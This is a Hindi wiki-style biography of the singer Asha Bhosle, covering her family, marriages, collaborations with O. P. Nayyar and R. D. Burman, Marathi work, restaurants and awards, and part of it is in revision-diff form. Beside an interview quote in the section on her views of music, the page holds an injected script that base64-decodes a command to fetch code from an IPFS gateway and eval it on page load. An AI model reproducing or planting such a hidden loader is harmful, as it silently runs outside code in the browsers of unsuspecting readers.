जब मदन मोहन के संगीत का जिक्र होता है साथ में हमेशा लता मंगेशकर जी की बात होती है। ठीक उसी तरह ओ. पी. नैय्यर साहब के संगीत के साथ आशा भोंसले जी का नाम आता हैं। लेकिन ये भी सत्य है कि आशा भोंसले ने मदन मोहन और गीता दत्त के साथ ओ. पी. नैय्यर के अनेकों अनमोल नग्में गाये हैं।
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जब [[मदन मोहन]] के [[संगीत]] का ज़िक्र होता है साथ में हमेशा लता मंगेशकर जी की बात होती है। ठीक उसी तरह ओ. पी. नैय्यर साहब के संगीत के साथ आशा भोंसले जी का नाम आता हैं। लेकिन ये भी सत्य है कि आशा भोंसले ने [[मदन मोहन]] और [[गीता दत्त]] के साथ [[ओ. पी. नैय्यर]] के अनेकों अनमोल नग्में गाये हैं।
 
==अन्य विशेषता==
 
==अन्य विशेषता==
आशाजी गायिका के अलावा बहुत अच्छी कुक (रसोईया) है। कुकिंग इनका पसंदीदा शौक़ है। बॉलीवुड के बहुत सारे लोग आशा जी के हाथों से बनें ‘कढाई गोस्त’ एवं ‘बिरयानी’ के लिए अनुरोध करते हैं। आशा जी भी इनकार नहीं करती है। बॉलीवुड के ‘कपूर’ खानदान में आशा जी द्वारा बनाए गये ‘पाया करी’, ‘गोझन फिश करी’ और ‘दाल’ काफ़ी प्रसिद्ध है। एक बार जब ‘द टाइम्स ऑफ इंडिया’ के एक साक्षात्कार में पूछा गया कि यदि आप गायिका न होती तो क्या करती? आशा जी ने जबाब दिया कि मैं एक अच्छी रसोईया (कुक) बनती। आशा जी एक सफल रेस्तरॉ संचालिका है। इनके रेस्तरॉ दुबई और कुवैत में आशा नाम से प्रसिद्ध है। ‘वाफी ग्रुप’ द्वारा संचालित रेस्तरॉ में आशा जी के 20% भागीदारी है। वाफी सीटी दुबई और दो रेस्तरॉ कुवैत में पारम्परिक उत्तर भारतीय व्यंजन के लिए प्रसिद्ध है। आशा जी ने ‘कैफ्स’ को स्वयं 6 महीनो तक ट्रेंनिग दी है। दिसम्बर [[2004]] ‘मेनु मैगजीन’ के रिपोर्ट के अनुसार ‘रसेल स्कॉट’ जो ‘हैरी रामसदेन’ के प्रमुख है आने वाले पाँच सालों में आशा जी के ब्रैण्ड के अंतर्गत 40 रेस्तरॉ पूरे यू. के. के अन्दर खोलने की घोषणा की है। इसी क्रम में आशा जी की की रेस्तरॉ ‘बरमिंगम’ यू. के. में खोला गया है। आशा जी एक अच्छी ‘मिमिक्री’ अदाकारा भी है।
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आशाजी गायिका के अलावा बहुत अच्छी कुक (रसोईया) है। कुकिंग इनका पसंदीदा शौक़ है। बॉलीवुड के बहुत सारे लोग आशा जी के हाथों से बनें ‘कढाई गोस्त’ एवं ‘[[बिरयानी]]’ के लिए अनुरोध करते हैं। आशा जी भी इनकार नहीं करती है। बॉलीवुड के ‘कपूर’ ख़ानदान में आशा जी द्वारा बनाए गये ‘पाया करी’, ‘गोझन फिश करी’ और ‘दाल’ काफ़ी प्रसिद्ध है। एक बार जब ‘द टाइम्स ऑफ इंडिया’ के एक साक्षात्कार में पूछा गया कि यदि आप गायिका न होती तो क्या करती? आशा जी ने जबाब दिया कि मैं एक अच्छी रसोईया (कुक) बनती। आशा जी एक सफल रेस्तरॉ संचालिका है। इनके रेस्तरॉ दुबई और कुवैत में आशा नाम से प्रसिद्ध है। ‘वाफी ग्रुप’ द्वारा संचालित रेस्तरॉ में आशा जी के 20% भागीदारी है। वाफी सीटी दुबई और दो रेस्तरॉ कुवैत में पारम्परिक उत्तर भारतीय व्यंजन के लिए प्रसिद्ध है। आशा जी ने ‘कैफ्स’ को स्वयं 6 महीनो तक ट्रेंनिग दी है। दिसम्बर [[2004]] ‘मेनु मैगजीन’ के रिपोर्ट के अनुसार ‘रसेल स्कॉट’ जो ‘हैरी रामसदेन’ के प्रमुख है आने वाले पाँच सालों में आशा जी के ब्रैण्ड के अंतर्गत 40 रेस्तरॉ पूरे यू. के. के अन्दर खोलने की घोषणा की है। इसी क्रम में आशा जी की की रेस्तरॉ ‘बरमिंगम’ यू. के. में खोला गया है। आशा जी एक अच्छी ‘मिमिक्री’ अदाकारा भी है।
[[चित्र:Asha-Bhosle-4.jpg|thumb| आशा भोंसले<br /> Asha Bhosle]]  
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[[चित्र:Asha-Bhosle-4.jpg|thumb| आशा भोंसले<br /> Asha Bhosle]]
 
==पुरस्कार==
 
==पुरस्कार==
*आशा भोंसले जी को फ़िल्म फेयर बेस्ट फ़िमेल प्लेबैक अवार्ड से सम्मानित किया गया।
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*आशा भोंसले जी को फ़िल्म फेयर बेस्ट फ़ीमेल प्लेबैक अवार्ड से सम्मानित किया गया।
 
*[[1996]]-स्पेशल अवार्ड (रंगीला- [[1995]]) से सम्मानित किया गया।
 
*[[1996]]-स्पेशल अवार्ड (रंगीला- [[1995]]) से सम्मानित किया गया।
 
*[[2001]]-फ़िल्म फेयर लाइफटाइम एचीवमेंट अवार्ड से सम्मानित किया गया।
 
*[[2001]]-फ़िल्म फेयर लाइफटाइम एचीवमेंट अवार्ड से सम्मानित किया गया।
====<u>राष्ट्रीय फ़िल्म पुरस्कार</u>====
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====राष्ट्रीय फ़िल्म पुरस्कार====
*[[1981]]- “दिल चीज क्या है...”(उमराव जान)
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*[[1981]]- “दिल चीज़ क्या है...”(उमराव जान)
 
*[[1986]] “मेरा कुछ सामान...”(इजाज़त)
 
*[[1986]] “मेरा कुछ सामान...”(इजाज़त)
 
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====अन्य पुरस्कार====
====<u>अन्य पुरस्कार</u>====
 
 
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|नाइटेंगल (स्वर कोकिला) ऑफ एशिया अवार्ड (इंडो पाक एशोशिएशन यु.के.) से सम्मानित किया गया।
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|नाइटेंगल (स्वर कोकिला) ऑफ एशिया अवार्ड (इंडो पाक एशोशिएशन यू.के.) से सम्मानित किया गया।
 
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|एम.टी.वी. ईमीज, बेस्ट फीमेल पॉप ऐक्ट (आज जाने की जिद न करो..) से सम्मानित किया गया।
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==मुख्य बिंदु==
 
==मुख्य बिंदु==
*आशा भोंसले जी के पसंदीदा संगीत निर्देशक [[आर. डी. वर्मन]] जी हैं।
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[[चित्र:Bollywood-with-Indira-Gandhi.jpg|thumb|350px|पूर्व प्रधानमंत्री श्रीमती [[इन्दिरा गाँधी]] एवं [[बॉलीवुड]] के कलाकारों के साथ आशा भोंसले]]
*आशा भोंसले जी के पसंदीदा पार्श्वगायक लता मंगेशकर व [[किशोर कुमार]] हैं।
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*आशा भोंसले जी के पसंदीदा संगीत निर्देशक [[आर. डी. बर्मन]] जी हैं।
*[[1997]] में आशा जी पहली भारतीय गायिका बनी जो ‘ग्रेमी अवार्ड' के लिए नामांकित की गई जो उस्ताद अली अकबर ख़ान के साथ एक विशेष एलबम के लिए था।
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*आशा भोंसले जी के पसंदीदा [[पार्श्वगायक]] [[लता मंगेशकर]] व [[किशोर कुमार]] हैं।
*आशा जी ने “सत्तरहवी महाराष्ट्र स्टेट अवार्ड” प्राप्त किया।
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*[[1997]] में आशा जी पहली भारतीय गायिका बनी जो ‘ग्रेमी अवार्ड' के लिए नामांकित की गई जो [[अली अकबर ख़ान|उस्ताद अली अकबर ख़ान]] के साथ एक विशेष एलबम के लिए था।
*आशा जी भारतीय सिनेमा में उत्कृष्ट योगदान के लिए सन [[2000]] में “दादा साहेब फाल्के अवार्ड” से सम्मानित की गई।
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*आशा जी ने “सत्तरहवीं महाराष्ट्र स्टेट अवार्ड” प्राप्त किया।
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*आशा जी [[भारतीय सिनेमा]] में उत्कृष्ट योगदान के लिए सन् [[2000]] में “[[दादा साहब फालके पुरस्कार|दादा साहेब फाल्के अवार्ड]]” से सम्मानित की गई।
 
*आशा जी को साहित्य में डॉक्टरेट की उपाधि से अमरावती विश्वविद्यालय एवं जलगाँव विश्वविद्यालय द्वारा सम्मानित किया गया।
 
*आशा जी को साहित्य में डॉक्टरेट की उपाधि से अमरावती विश्वविद्यालय एवं जलगाँव विश्वविद्यालय द्वारा सम्मानित किया गया।
 
*“द फ्रिडी मरकरी अवार्ड” कला के क्षेत्र में उत्कृष्ट उपलब्धियों के लिए आशा जी को इस ख़ास पुरस्कार से सममानित किया गया।
 
*“द फ्रिडी मरकरी अवार्ड” कला के क्षेत्र में उत्कृष्ट उपलब्धियों के लिए आशा जी को इस ख़ास पुरस्कार से सममानित किया गया।
*नवम्बर [[2002]] में आशा जी को “बर्मिंघम फ़िल्म फेस्टिवल” विशेष रूप से समर्पित किया गया।
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*[[नवम्बर]] [[2002]] में आशा जी को “बर्मिंघम फ़िल्म फेस्टिवल” विशेष रूप से समर्पित किया गया।
*“[[पद्म विभूषण]]” के द्वारा [[राष्ट्रपति]] [[प्रतिभा देवी सिंह पाटिल]] ने [[5 मई]] [[2008]] ([[सोमवार]]) को आशा जी को सम्मानित किया। यह सम्मान [[भारत]] सरकार के महत्त्वपूर्ण सम्मानों में एक है।
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*“[[पद्म विभूषण]]” के द्वारा [[राष्ट्रपति]] [[प्रतिभा देवी सिंह पाटिल]] ने [[5 मई]] [[2008]] को आशा जी को सम्मानित किया। यह सम्मान भारत सरकार के महत्त्वपूर्ण सम्मानों में एक है।
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==टीका टिप्पणी और संदर्भ==
 
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==संबंधित लेख==
 
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11:38, 26 फ़रवरी 2022 के समय का अवतरण

आशा भोंसले
आशा भोंसले
पूरा नाम आशा भोंसले
अन्य नाम आशा ताई
जन्म 8 सितम्बर 1933
जन्म भूमि सांगली, महाराष्ट्र
अभिभावक पिता- दीनानाथ मंगेशकर, माता- सुधामती
पति/पत्नी गणपत राव भोंसले, राहुल देव वर्मन
संतान पुत्र- हेमंत भोंसले, आनन्द भोंसले, पुत्री- वर्षा भोंसले
कर्म भूमि मुम्बई
कर्म-क्षेत्र गायिका
मुख्य फ़िल्में 'नया दौर', 'तीसरी मंज़िल', 'संगदिल', 'परिणीता', 'कश्मीर की कली', 'उमराव जान', 'इजाज़त' आदि।
विषय भारतीय शास्त्रीय संगीत, पॉप संगीत, लोक संगीत, गज़ल
पुरस्कार-उपाधि 'फ़िल्म फेयर बेस्ट फ़ीमेल प्लेबैक अवार्ड', 1996 में स्पेशल अवार्ड (रंगीला- 1995), 'फ़िल्म फेयर लाइफटाइम एचीवमेंट अवार्ड' (2001), 'पद्म विभूषण'
प्रसिद्धि पार्श्वगायिका
मुख्य गीत 'दिल चीज़ क्या है', 'पिया तू अब तो आजा', उ'ड़े जब जब ज़ुल्फ़ें तेरी', 'जाईये आप कहाँ जाएँगे', 'मैं प्यार का राही हूँ' आदि।
भाई-बहन हृदयनाथ मंगेशकर, लता मंगेशकर, उषा मंगेशकर, मीना खड़ीकर
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आशा भोंसले (अंग्रेज़ी: Asha Bhosle, जन्म: 8 सितम्बर, 1933) मशहूर पार्श्वगायिका और लता मंगेशकर की छोटी बहन और दीनानाथ मंगेशकर की पुत्री हैं। आशा जी ने फ़िल्मी और ग़ैर फ़िल्मी जगत् के लगभग 16 हज़ार गाने गाए हैं और इनकी आवाज़ के प्रशंसक पूरी दुनिया में फैले हुए हैं। उन्होंने 800 से अधिक फ़िल्मों में दस हज़ार से ज़्यादा गाने गाए हैं। महान् भारतीय गायिका आशा भोंसले का नाम दुनिया में संगीत की 20 शीर्ष हस्तियों में शामिल किया गया है। सीएनएन के ज़रिये तैयार पिछले 50 सालों की संगीत की शीर्ष हस्तियों की इस सूची में आशा भोंसले का नाम आता है। गायन की विविधता से आशा ने अपने करियर के छह दशकों में ऊँचाई हासिल की। बड़ी बहन लता मंगेशकर की छत्रछाया में आशा जी ने पा‌र्श्वगायन प्रारंभ किया। 1957 में दिलीप कुमार और वैजयंतीमाला अभिनीत 'नया दौर' फ़िल्म के 'मांग के साथ तुम्हारा' गीत से आशा जी ने लोकप्रियता हासिल की।[1]

जीवन परिचय

आशा भोंसले का जन्म 8 सितम्बर 1933 को महाराष्ट्र के ‘सांगली’ में हुआ था। आशा भोंसले का नाम विश्व के सबसे जाने माने लोगों में आता है। आशा भोंसले का जन्म संगीत से जुड़े परिवार में हुआ था। आशा भोंसले के पिता दीनानाथ मंगेशकर प्रसिद्ध गायक एवं नायक थे। जिन्होंने शास्त्रीय संगीत की शिक्षा काफ़ी छोटी उम्र में ही आशा जी को दे दी थी। आशा जी जब केवल 9 वर्ष की थीं तब इनके पिता की मृत्यु हो गई। पिता के मरणोपरांत, आशा भोंसले जी का परिवार पुणे से कोल्हापुर और उसके बाद बम्बई आ गया।

आशा भोंसले
Asha Bhosle

परिवार की सहायता के लिए आशा और इनकी बड़ी बहन लता मंगेशकर ने गाना और फ़िल्मों में अभिनय शुरू कर दिया। आशा जी की बहनें लता मंगेशकर और उषा मंगेशकर गायिका है। आशा भोंसले जी की अन्य दो सहोदर बहन मीना मंगेशकर और भाई हृदयनाथ मंगेशकर संगीत निर्देशक है। आशा जी किनारों वाली सफ़ेद चमकदार साड़ी, व गले में मोतियों का हार पहनती हैं।

प्रसिद्ध गायिका

बॉलीवुड का सबसे चमकीला सितारा आशा भोंसले पा‌र्श्वगायन की मलिका हैं। आशा जी के द्वारा 12000 से अधिक गीत गाए गये हैं। 1943 में आशा भोंसले जी ने अपनी पहली फ़िल्म (मराठी) ‘माझा बाळ’ में गीत गाया। यह गीत ‘चला चला नव बाळा...’ दत्ता दवाजेकर के द्वारा संगीतबद्ध किया गया था। 1948 में हिन्दी फ़िल्म ‘चुनरिया’ का गीत ‘सावन आया...’ हंसराज बहल के लिए गाया। दक्षिण एशिया की प्रसिद्ध गायिका के रूप में आशा जी ने गीत गाए। फ़िल्म संगीत, पॉप, गज़ल, भजन, भारतीय शास्त्रीय संगीत, क्षेत्रीय गीत, कव्वाली, रवीन्द्र संगीत और नजरूल गीत इनके गीतों में सम्मिलित हैं। इन्होंने 14 से ज़्यादा भाषाओं में गीत गाए जैसे– मराठी, असमिया, हिन्दी, उर्दू, तेलुगु, बंगाली, गुजराती, पंजाबी, तमिल, अंग्रेज़ी, रशियन, जाइच, नेपाली, मलय और मलयालम आदि।

वैवाहिक जीवन

आशा भोंसले जी ने 16 वर्ष की उम्र में अपने 31 वर्षीय प्रेमी ‘गणपत राव भोंसले’ (1916-1966) के साथ घर से पलायन कर पारिवारिक इच्छा के विरुद्ध विवाह किया। गणपत राव लता जी के निजी सचिव थे। यह विवाह असफल रहा। पति एवं उनके भाइयों के बुरे बर्ताव के कारण इस विवाह का दु:खान्त हो गया। 1960 के आसपास विवाह विच्छेद के बाद आशा जी अपनी माँ के घर दो बच्चों और तीसरे गर्भस्थ शिशु (आनन्द) के साथ लौट आईं। 1980 ई. में आशा जी ने ‘राहुल देव बर्मन’ (पंचम) से विवाह किया। यह विवाह आशा जी ने राहुल देव वर्मन के अंतिम सांसो तक सफलतापूर्वक निभाया।

व्यक्तित्व जीवन

आशा जी का घर दक्षिण मुम्बई, पेडर रोड क्षेत्र में प्रभुकुंज अपार्टमेंट में स्थित है। आशा भोंसले जी के तीन बच्चे हैं। साथ ही पाँच पौत्र भी हैं। इनका सबसे बड़ा लड़का हेमंत भोंसले है। हेमंत ने पायलट के रूप में अधिकांश समय बिताया। आशाजी की बेटी “वर्षा” हैं जो हेमंत से छोटी हैं। वर्षा ने ‘द सनडे ऑबजरवर’ और ‘रेडिफ’ के लिए कॉलम लिखने का काम किया। आशाजी का सबसे छोटा पुत्र आनन्द भोंसले है। आनन्द ने व्यापार और फ़िल्म निर्देशन की पढाई की। आनन्द भोंसले ही आशा के करियर की इन दिनों देखभाल कर रहे है। हेमंत भोंसले के सबसे बड़े पुत्र चैतन्या (चिंटु) “बॉय बैण्ड” के सफल सदस्य के रूप में विश्व संगीत से जुड़े हुए है। अनिका भोंसले (हेमंत भोंसले की पुत्री) सफल फोटोग्राफर के रूप में कार्य कर रही हैं।

आशा भोंसले
Asha Bhosle

जीवन के संघर्ष

एक समय जब प्रसिद्ध गायिका यथा- गीता दत्त, शमशाद बेगम और लता मंगेशकर का ज़माना था। चारो ओर इन्हीं का प्रभुत्व था। आशा जी गाना चाहती थी पर इन्हें गाने का मौक़ा तक नहीं दिया जाता था। आशा जी सिर्फ़ दूसरे दर्जें की फ़िल्मों के लिए ही गा पाती थी। 1950 के दशक में बॉलीवुड के अन्य गायिकाओं की तुलना में आशा जी ने कम बजट की ‘बी’ और ‘सी’ ग्रेड फ़िल्मों के लिए बहुत से गीत गाए। इनके गीतों के संगीतकार ए. आर. कुरैशी (अल्ला रक्खा खान), सज्जाद हुसैन और ग़ुलाम मोहम्मद थे। जो काफ़ी असफल रहे। 1952 ई. में दिलीप कुमार अभिनीत फ़िल्म ‘संगदिल’ जिसके संगीतकार सज्जाद हुसैन थे, ने प्रसिद्धि दिलाई। परिणाम स्वरूप विमल राय ने एक मौक़ा आशा जी को अपनी फ़िल्म ‘परिणीता’ (1953) के लिए दिया। राज कपूर ने गीत ‘नन्हे मुन्ने बच्चे....’ के लिए मोहम्मद रफी के साथ फ़िल्म ‘बूट पॉलिश’ (1954) के लिए अनुबंधित किया जिसने काफ़ी प्रसिद्धि आशा जी को दिलाई। ओ.पी. नैयर ने आशा जी को बहुत बड़ा अवसर ‘सी. आई. डी.’(1956) के गीत गाने के लिए दिया। इस प्रकार 1957 की फ़िल्म ‘नया दौर’ बी. आर. चोपड़ा ने नैयर साहब के संगीतकार रूप में आशा जी को बी. आर. चोपड़ा से पहली सफलता प्राप्त हुई। इस साझेदारी ने कई प्रसिद्ध गीतों को जनमानस के बीच लाने में महत्त्वपूर्ण योगदान दिया। फिर सचिन देव बर्मन और रवि जैसे संगीतकारो ने भी आशा जी को मौक़ा दिया। 1966 ई. में संगीतकार आर. डी. बर्मन की सफलतम फ़िल्म ‘तीसरी मंज़िल’ में आशा जी ने आर. डी. बर्मन के साथ काफ़ी प्रसिद्धि बटोरी। 1960 से 1970 के बीच प्रसिद्ध डांसर हेलन की आवाज़ बनी। ऐसा कहा जाता है कि जब भी आशा जी गाती थीं तो हेलन रिकाडिंग के समय मौजूद रहती थीं ताकि गाने को अच्छी तरह समझ सकें और अच्छी तरह नृत्य उस गाने पर कर सकें।

संगीत में प्रंशसा

संगीतकार ओ.पी. नैयर की साझेदारी ने आशा भोंसले जी को एक ख़ास पहचान दिलाया। कई लोगों ने इनकी आपसी संबंध को प्रेम संबंध मान लिया। नैयर जी पहली बार 1952 में आशा जी से एक गीत 'छम छमा छम...' के संगीत रिकार्डिग के समय मिलें। पहली बार इन्होनें फ़िल्म ‘माँगू’ (1954) के लिए आशा जी को बुलाया। फिर इन्होनें एक बहुत बड़ा मौक़ा फ़िल्म सी.आई.डी. (1956) में आशा जी को दिया। इस प्रकार नया दौर (1957) की सफलता ने इन दोनो की प्रसिद्धी को बढ़ाया। 1959 के बाद भावनात्मक और व्यावसायिक तौर पर आशा जी नैयर जी के साथ जुड़ी रहीं। ओ.पी.नैयर और आशा भोंसले की यादगार फ़िल्मे यथा- मधुबाला पर फ़िल्मांकित गीत ‘आईये मेहरबाँ...’ (हावड़ा ब्रिज-1958) और मुमताज़ पर फ़िल्मांकित गीत ‘ये है रेशमी जुल्फों का अंधेरा... (मेरे सनम-1965) आदि है। ओ.पी. नैयर ने कई हिट गीतों को आशा जी के साथ रिकार्ड किया यथा- नया दौर(1957), तुमसा नहीं देखा(1957), हावड़ा ब्रिज (1958), एक मुसाफ़िर एक हसीना(1962), कश्मीर की कली(1964) आदि। इनकी साझेदारी की कुछ प्रसिद्ध गीत- आओ हुजुर तुमको...(क़िस्मत), जाईये आप कहाँ जाएगे...(मेरे सनम) आदि है। ओ.पी.नैयर की मो. रफी एवं आशा जी के साथ युगल गीत काफ़ी प्रसिद्ध हुए। इनके द्वारा गाए कुछ प्रमुख युगल गीत ‘उडे जब जब जुल्फें तेरी...(नया दौर), मै प्यार का राही हूँ...(एक मुसाफ़िर एक हसीना), दिवाना हुआ बादल..., इशारों इशारों में...(काश्मीर की कली) आदि। 5 अगस्त 1972 को दोनो में अलगाव हो गया। यह स्पष्ट नहीं हो पाया की किन कारणों से दोनों में अलगाव हुआ।
आशा जी और हेलन के प्रसिद्ध गीतों में ‘पिया तू अब तो आजा...’(कारवॉ), ‘ ओ हसीना जुल्फ़ों वाली...’(तीसरी मंजिल) और ‘ये मेरा दिल...(डॉन) शामिल है। 1981 में उमराव जान और इजाज़त (1987) में पारम्परिक गज़ल गाकर आशा जी ने आलोचकों को करारा जबाब दिया तथा अपनी गायन प्रतिभा का लोहा मनवाया। इन्हीं दिनों इन्हें उपरोक्त दोनों फ़िल्म के लिए राष्ट्रीय फ़िल्म पुरस्कार ‘बेस्ट फ़िमेल प्लेबैक सिंगर’ मिला। आशा जी 1990 तक लगातार गाती रही। 1995 की हिट फ़िल्म ‘रंगीला’ से एक बार पुन: अपनी दूसरी पारी का आरंभ किया। 2005 में 72 वर्षीय आशा जी ने तमिल फ़िल्म ‘चन्द्रमुखी’ और पॉप संगीत ‘लक्की लिप्स...’ सलमान ख़ान अभिनित के लिए गाया जो चार्ट बस्टर में प्रसिद्ध रहा। अक्टूबर 2004, ’द वेरी बेस्ट ऑफ आशा भोंसले’, ‘द क्वीन ऑफ बॉलीवुड’ आशा जी के द्वारा गाए गीतों का एलबम (1966-2003) रिलिज किया गया।

मराठी संगीत

लता मंगेशकर के साथ आशा जी मराठी संगीत की सिरमौर रही है क्योंकि मराठी उनकी मातृभाषा है। आशा जी मराठी भाषा के अनेकों गीत गा चुकी है जिनमें प्रसिद्ध कविओं के कविता है, जो भाव गीत के रूप में प्रसिद्ध है। यथा प्रसिद्ध एलबन ‘रूतु हिरावा’ (‘ग्रीन सीजन’) जो श्रीधर पाडके द्वारा रचित है। अपने भाई हृदयनाथ मंगेशकर द्वारा संगीतबद्ध आशा जी के कई प्रसिद्ध गीत है। आशा जी द्वारा गाए मराठी भजन काफ़ी प्रचलित और प्रसिद्ध है।[2]

लता मंगेशकर और आशा भोंसले
Lata Mangeshkar and Asha Bhosle

संगीत का सफ़र

आशा भोंसले अपने संगीतकार पति आर.डी.बर्मन के साथ कई हिट गाने दिये। 'ओ हसीना' और 'पिया तू अब तो आजा' जैसे आशा के सुपर हिट गीतों का संगीत बर्मन ने ही तैयार किया था। मदन मोहन जी के 20 साल के संगीत के सफ़र में उनके साथ आशा भोंसले ने 190 और लता मंगेशकर ने 290 फ़िल्मी गीत गाये। आशाजी और मदन मोहन जी ने कई फ़िल्मों में साथ काम किया।

फ़िल्म "नींद हमारी ख्वाब तुम्हारे" में मदनजी के सारे गीत आशाजी ने गाये थे। इस फ़िल्म का एक एक गीत अनमोल है।

  • पहला नग्मा असल में एक ग़ज़ल है, जाने क्या हाल हो कल शीशे का पैमाने का ।
  • दूसरा गीत है, "सबा से ये कह दो कि कलियाँ बिछायें"
  • तीसरा अनमोल नग्मा है, "कोई शिकवा भी नहीं"

अभिनय

आशा भोंसले जी ने दो फ़िल्मों में काम किया। जिसमें एक हिन्दी फ़िल्म बड़ी मामी और एक मराठी फ़िल्म हैं। लेकिन अभिनय में उनकी ज़्यादा रुचि नहीं थी। उन्हें लगा कि अभिनय से अच्छा गाना है।

पहला गाना

लता मंगेशकर एक मराठी फ़िल्म माझा बाड़ में काम कर रही थी। उसमें आशा भोंसले जी को गाने का मौक़ा मिला। उसके बाद ‘अंधों की दुनिया’ में बसंत देसाई ने आशा भोंसले जी को गाने का मौक़ा दिया। हंसराज बहल ने आशा भोंसले जी को हिन्दी फ़िल्म में पहली बार किसी अभिनेत्री के लिए गाने का मौक़ा दिया।

आशा भोंसले की नज़र में संगीत

Blockquote-open.gif संगीत समंदर की तरह हैं। इसमें कितना ही घुसेंगे उतना कम हैं। मेरा आज भी मानना हैं कि मैं संगीत का कुछ नहीं जानती। संगीत मेरी साँसों में बसा हुआ है। लोग कहते हैं कि संगीत छोड़ दो तो मेरा जवाब होता है कि साँस लेना कैसे छोड़ दूँ। जब तक आवाज़ है तब तक गाऊँगी। शायद आवाज़ और मैं साथ में दुनिया से जाएँगे - आशा भोंसले Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> एक साक्षात्कार में आशा भोंसले जी ने कहा हैं कि 'संगीत समंदर की तरह हैं। इसमें कितना ही घुसेंगे उतना कम हैं। मेरा आज भी मानना हैं कि मैं संगीत का कुछ नहीं जानती। संगीत मेरी साँसों में बसा हुआ है। लोग कहते हैं कि संगीत छोड़ दो तो मेरा जवाब होता है कि साँस लेना कैसे छोड़ दूँ। जब तक आवाज़ है तब तक गाऊँगी। शायद आवाज़ और मैं साथ में दुनिया से जाएँगे।'

प्रसिद्ध जोड़ी

जब मदन मोहन के संगीत का ज़िक्र होता है साथ में हमेशा लता मंगेशकर जी की बात होती है। ठीक उसी तरह ओ. पी. नैय्यर साहब के संगीत के साथ आशा भोंसले जी का नाम आता हैं। लेकिन ये भी सत्य है कि आशा भोंसले ने मदन मोहन और गीता दत्त के साथ ओ. पी. नैय्यर के अनेकों अनमोल नग्में गाये हैं।

अन्य विशेषता

आशाजी गायिका के अलावा बहुत अच्छी कुक (रसोईया) है। कुकिंग इनका पसंदीदा शौक़ है। बॉलीवुड के बहुत सारे लोग आशा जी के हाथों से बनें ‘कढाई गोस्त’ एवं ‘बिरयानी’ के लिए अनुरोध करते हैं। आशा जी भी इनकार नहीं करती है। बॉलीवुड के ‘कपूर’ ख़ानदान में आशा जी द्वारा बनाए गये ‘पाया करी’, ‘गोझन फिश करी’ और ‘दाल’ काफ़ी प्रसिद्ध है। एक बार जब ‘द टाइम्स ऑफ इंडिया’ के एक साक्षात्कार में पूछा गया कि यदि आप गायिका न होती तो क्या करती? आशा जी ने जबाब दिया कि मैं एक अच्छी रसोईया (कुक) बनती। आशा जी एक सफल रेस्तरॉ संचालिका है। इनके रेस्तरॉ दुबई और कुवैत में आशा नाम से प्रसिद्ध है। ‘वाफी ग्रुप’ द्वारा संचालित रेस्तरॉ में आशा जी के 20% भागीदारी है। वाफी सीटी दुबई और दो रेस्तरॉ कुवैत में पारम्परिक उत्तर भारतीय व्यंजन के लिए प्रसिद्ध है। आशा जी ने ‘कैफ्स’ को स्वयं 6 महीनो तक ट्रेंनिग दी है। दिसम्बर 2004 ‘मेनु मैगजीन’ के रिपोर्ट के अनुसार ‘रसेल स्कॉट’ जो ‘हैरी रामसदेन’ के प्रमुख है आने वाले पाँच सालों में आशा जी के ब्रैण्ड के अंतर्गत 40 रेस्तरॉ पूरे यू. के. के अन्दर खोलने की घोषणा की है। इसी क्रम में आशा जी की की रेस्तरॉ ‘बरमिंगम’ यू. के. में खोला गया है। आशा जी एक अच्छी ‘मिमिक्री’ अदाकारा भी है।

आशा भोंसले
Asha Bhosle

पुरस्कार

  • आशा भोंसले जी को फ़िल्म फेयर बेस्ट फ़ीमेल प्लेबैक अवार्ड से सम्मानित किया गया।
  • 1996-स्पेशल अवार्ड (रंगीला- 1995) से सम्मानित किया गया।
  • 2001-फ़िल्म फेयर लाइफटाइम एचीवमेंट अवार्ड से सम्मानित किया गया।

राष्ट्रीय फ़िल्म पुरस्कार

  • 1981- “दिल चीज़ क्या है...”(उमराव जान)
  • 1986 “मेरा कुछ सामान...”(इजाज़त)

अन्य पुरस्कार

सन् पुरस्कार
1987 नाइटेंगल (स्वर कोकिला) ऑफ एशिया अवार्ड (इंडो पाक एशोशिएशन यू.के.) से सम्मानित किया गया।
1989 लता मंगेस्कर अवार्ड (मध्य प्रदेश सरकार) से सम्मानित किया गया।
1997 स्क्रीन वीडियोकॉन अवार्ड (जानम समझा करो- एलबम के लिए) से सम्मानित किया गया।
1997 एम.टी.वी. अवार्ड (जानम समझा करो- एलबम के लिए) से सम्मानित किया गया।
1997 चैनल वी अवार्ड (जानम समझा करो- एलबम के लिए) से सम्मानित किया गया।
1998 दयावती मोदी अवार्ड से सम्मानित किया गया।
1999 लता मंगेस्कर अवार्ड (महाराष्ट्र सरकार) से सम्मानित किया गया।
2000 सिंगर ऑफ द मिलेनियम (दुबई) 2000- जी गोल्ड बॉलीवुड अवार्ड (मुझे रंग दे- फ़िल्म तक्षक के लिए) से सम्मानित किया गया।
2001 एम.टी.वी. अवार्ड (कमबख्त इशक – के लिए) से सम्मानित किया गया।
2002 बी.बी.सी. लाइफटाइम एचीवमेंट अवार्ड (यू.के. प्रधानमंत्री टोनी ब्लेयर के द्वारा प्रदत) से सम्मानित किया गया।
2002 जी सीने अवार्ड फॉर बेस्ट प्लेबैक सिंगर फ़िमेल(राधा कैसे न जले..-फ़िल्म लगान के लिए) से सम्मानित किया गया।
2002 जी सीने स्पेशल अवार्ड फॉर हॉल ऑफ फेम 2002- स्क्रीन वीडियोकॉन अवार्ड (राधा कैसे न जले..-फ़िल्म लगान के लिए) से सम्मानित किया गया।
2002 सैनसुई मूवी अवार्ड(राधा कैसे न जले..-फ़िल्म लगान के लिए) से सम्मानित किया गया।
2003 सवराल्या येशुदास अवार्ड (भारतीय संगीत में उत्कृष्ट योगदान के लिए) से सम्मानित किया गया।
2004 लाईविंग लीजेंड अवार्ड(फेडरेशन ऑफ इंडियन चेम्बर ऑग कामर्स एण्ड इंडस्ट्रीज के द्वारा) से सम्मानित किया गया।
2005 एम.टी.वी. ईमीज, बेस्ट फीमेल पॉप ऐक्ट (आज जाने की ज़िद न करो..) से सम्मानित किया गया।
2005 मोस्ट स्टाइलिश पीपुल इन म्यूजिक से सम्मानित किया गया।

मुख्य बिंदु

पूर्व प्रधानमंत्री श्रीमती इन्दिरा गाँधी एवं बॉलीवुड के कलाकारों के साथ आशा भोंसले
